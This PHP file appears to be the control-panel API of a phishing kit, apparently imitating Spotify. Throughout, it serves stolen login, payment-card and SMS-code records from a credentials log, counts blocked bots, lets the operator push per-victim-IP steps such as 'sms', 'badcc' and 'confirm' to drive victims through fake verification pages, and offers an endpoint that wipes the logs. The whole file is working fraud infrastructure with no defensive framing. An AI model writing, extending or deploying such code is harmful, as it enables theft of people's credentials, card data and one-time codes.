<?php
/**
 * REST API for Panel Control
 * Allows external control and data retrieval
 */

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Authorization');

// API Configuration
define('API_KEY', 'spotify_api_key_2025'); // Change this!
define('API_VERSION', '1.0');

// Authenticate API request
function authenticateRequest() {
    $headers = getallheaders();
    $apiKey = isset($headers['Authorization']) ? $headers['Authorization'] : (isset($_GET['api_key']) ? $_GET['api_key'] : '');
    
    if ($apiKey !== 'Bearer ' . API_KEY && $apiKey !== API_KEY) {
        return false;
    }
    
    return true;
}

// Send JSON response
function sendResponse($data, $statusCode = 200) {
    http_response_code($statusCode);
    echo json_encode($data, JSON_PRETTY_PRINT);
    exit;
}

// Get request method and endpoint
$method = $_SERVER['REQUEST_METHOD'];
$endpoint = isset($_GET['endpoint']) ? $_GET['endpoint'] : '';

// Check authentication
if (!authenticateRequest()) {
    sendResponse([
        'success' => false,
        'error' => 'Unauthorized',
        'message' => 'Invalid or missing API key'
    ], 401);
}

// Handle API endpoints
switch ($endpoint) {
    
    // GET /api.php?endpoint=stats
    case 'stats':
        if ($method !== 'GET') {
            sendResponse(['success' => false, 'error' => 'Method not allowed'], 405);
        }
        
        $stats = [
            'total_visits' => 0,
            'total_logins' => 0,
            'total_payments' => 0,
            'total_sms' => 0,
            'total_blocked' => 0
        ];
        
        // Count visits
        $visitsFile = __DIR__ . '/../logs/visits.log';
        if (file_exists($visitsFile)) {
            $stats['total_visits'] = count(file($visitsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
        }
        
        // Count credentials
        $credsFile = __DIR__ . '/../logs/credentials.log';
        if (file_exists($credsFile)) {
            $lines = file($credsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            foreach ($lines as $line) {
                if (strpos($line, 'LOGIN') !== false) $stats['total_logins']++;
                if (strpos($line, 'PAYMENT') !== false) $stats['total_payments']++;
                if (strpos($line, 'SMS') !== false) $stats['total_sms']++;
            }
        }
        
        // Count blocked
        $botsFile = __DIR__ . '/../logs/bots.log';
        if (file_exists($botsFile)) {
            $stats['total_blocked'] = count(file($botsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
        }
        
        sendResponse([
            'success' => true,
            'data' => $stats,
            'timestamp' => time()
        ]);
        break;
    
    // GET /api.php?endpoint=logs&type=credentials
    case 'logs':
        if ($method !== 'GET') {
            sendResponse(['success' => false, 'error' => 'Method not allowed'], 405);
        }
        
        $type = isset($_GET['type']) ? $_GET['type'] : 'credentials';
        $limit = intval(isset($_GET['limit']) ? $_GET['limit'] : 50);
        
        $logFiles = [
            'credentials' => __DIR__ . '/../logs/credentials.log',
            'visits' => __DIR__ . '/../logs/visits.log',
            'bots' => __DIR__ . '/../logs/bots.log',
            'panel' => __DIR__ . '/../logs/panel_access.log'
        ];
        
        if (!isset($logFiles[$type])) {
            sendResponse(['success' => false, 'error' => 'Invalid log type'], 400);
        }
        
        $logFile = $logFiles[$type];
        $logs = [];
        
        if (file_exists($logFile)) {
            $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            $logs = array_slice(array_reverse($lines), 0, $limit);
        }
        
        sendResponse([
            'success' => true,
            'data' => [
                'type' => $type,
                'count' => count($logs),
                'logs' => $logs
            ],
            'timestamp' => time()
        ]);
        break;
    
    // POST /api.php?endpoint=action
    case 'action':
        if ($method !== 'POST') {
            sendResponse(['success' => false, 'error' => 'Method not allowed'], 405);
        }
        
        $input = json_decode(file_get_contents('php://input'), true);
        $ip = isset($input['ip']) ? $input['ip'] : '';
        $action = isset($input['action']) ? $input['action'] : '';
        
        if (empty($ip) || empty($action)) {
            sendResponse(['success' => false, 'error' => 'Missing ip or action'], 400);
        }
        
        $validActions = ['sms', 'confirm', 'ban', 'badsms', 'badcc', 'app'];
        if (!in_array($action, $validActions)) {
            sendResponse(['success' => false, 'error' => 'Invalid action'], 400);
        }
        
        // Perform action
        $actionFile = __DIR__ . "/action/ip_{$action}.txt";
        $currentIPs = file_exists($actionFile) ? file($actionFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
        
        if (!in_array($ip, $currentIPs)) {
            file_put_contents($actionFile, $ip . "\n", FILE_APPEND);
        }
        
        sendResponse([
            'success' => true,
            'message' => "Action '{$action}' applied to IP {$ip}",
            'timestamp' => time()
        ]);
        break;
    
    // GET /api.php?endpoint=status&ip=xxx
    case 'status':
        if ($method !== 'GET') {
            sendResponse(['success' => false, 'error' => 'Method not allowed'], 405);
        }
        
        $ip = isset($_GET['ip']) ? $_GET['ip'] : '';
        if (empty($ip)) {
            sendResponse(['success' => false, 'error' => 'Missing IP parameter'], 400);
        }
        
        $status = [
            'ip' => $ip,
            'sms' => false,
            'confirm' => false,
            'ban' => false,
            'badsms' => false,
            'badcc' => false,
            'app' => false
        ];
        
        $actions = ['sms', 'confirm', 'ban', 'badsms', 'badcc', 'app'];
        foreach ($actions as $action) {
            $file = __DIR__ . "/action/ip_{$action}.txt";
            if (file_exists($file)) {
                $ips = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                $status[$action] = in_array($ip, $ips);
            }
        }
        
        sendResponse([
            'success' => true,
            'data' => $status,
            'timestamp' => time()
        ]);
        break;
    
    // DELETE /api.php?endpoint=clear&type=logs
    case 'clear':
        if ($method !== 'DELETE' && $method !== 'POST') {
            sendResponse(['success' => false, 'error' => 'Method not allowed'], 405);
        }
        
        $type = isset($_GET['type']) ? $_GET['type'] : 'actions';
        
        if ($type === 'actions') {
            $files = ['ip_sms.txt', 'ip_confirm.txt', 'ip_ban.txt', 'ip_badsms.txt', 'ip_badcc.txt', 'ip_app.txt'];
            foreach ($files as $file) {
                $path = __DIR__ . "/action/{$file}";
                if (file_exists($path)) {
                    file_put_contents($path, '');
                }
            }
            sendResponse([
                'success' => true,
                'message' => 'All actions cleared',
                'timestamp' => time()
            ]);
        } elseif ($type === 'logs') {
            $files = ['credentials.log', 'visits.log', 'bots.log'];
            foreach ($files as $file) {
                $path = __DIR__ . "/../logs/{$file}";
                if (file_exists($path)) {
                    file_put_contents($path, '');
                }
            }
            sendResponse([
                'success' => true,
                'message' => 'All logs cleared',
                'timestamp' => time()
            ]);
        } else {
            sendResponse(['success' => false, 'error' => 'Invalid type'], 400);
        }
        break;
    
    // GET /api.php?endpoint=health
    case 'health':
        sendResponse([
            'success' => true,
            'data' => [
                'status' => 'online',
                'version' => API_VERSION,
                'server_time' => date('Y-m-d H:i:s'),
                'php_version' => phpversion()
            ],
            'timestamp' => time()
        ]);
        break;
    
    // API Documentation
    case 'docs':
    case '':
        sendResponse([
            'success' => true,
            'api_version' => API_VERSION,
            'documentation' => [
                'authentication' => [
                    'method' => 'API Key',
                    'header' => 'Authorization: Bearer YOUR_API_KEY',
                    'or' => 'Query parameter: ?api_key=YOUR_API_KEY'
                ],
                'endpoints' => [
                    [
                        'endpoint' => '/api.php?endpoint=stats',
                        'method' => 'GET',
                        'description' => 'Get statistics',
                        'response' => 'JSON with total visits, logins, payments, etc.'
                    ],
                    [
                        'endpoint' => '/api.php?endpoint=logs&type=credentials&limit=50',
                        'method' => 'GET',
                        'description' => 'Get logs',
                        'parameters' => [
                            'type' => 'credentials|visits|bots|panel',
                            'limit' => 'Number of entries (default: 50)'
                        ]
                    ],
                    [
                        'endpoint' => '/api.php?endpoint=action',
                        'method' => 'POST',
                        'description' => 'Perform action on IP',
                        'body' => [
                            'ip' => 'Target IP address',
                            'action' => 'sms|confirm|ban|badsms'
                        ]
                    ],
                    [
                        'endpoint' => '/api.php?endpoint=status&ip=xxx',
                        'method' => 'GET',
                        'description' => 'Check IP status',
                        'parameters' => [
                            'ip' => 'IP address to check'
                        ]
                    ],
                    [
                        'endpoint' => '/api.php?endpoint=clear&type=actions',
                        'method' => 'DELETE',
                        'description' => 'Clear data',
                        'parameters' => [
                            'type' => 'actions|logs'
                        ]
                    ],
                    [
                        'endpoint' => '/api.php?endpoint=health',
                        'method' => 'GET',
                        'description' => 'Check API health'
                    ]
                ],
                'examples' => [
                    'curl' => [
                        'Get stats' => 'curl -H "Authorization: Bearer YOUR_API_KEY" http://localhost/Panel/api.php?endpoint=stats',
                        'Get logs' => 'curl -H "Authorization: Bearer YOUR_API_KEY" http://localhost/Panel/api.php?endpoint=logs&type=credentials&limit=10',
                        'Perform action' => 'curl -X POST -H "Authorization: Bearer YOUR_API_KEY" -H "Content-Type: application/json" -d \'{"ip":"192.168.1.1","action":"sms"}\' http://localhost/Panel/api.php?endpoint=action',
                        'Check status' => 'curl -H "Authorization: Bearer YOUR_API_KEY" http://localhost/Panel/api.php?endpoint=status&ip=192.168.1.1'
                    ]
                ]
            ]
        ]);
        break;
    
    default:
        sendResponse([
            'success' => false,
            'error' => 'Endpoint not found',
            'message' => 'Use ?endpoint=docs for API documentation'
        ], 404);
}
?>
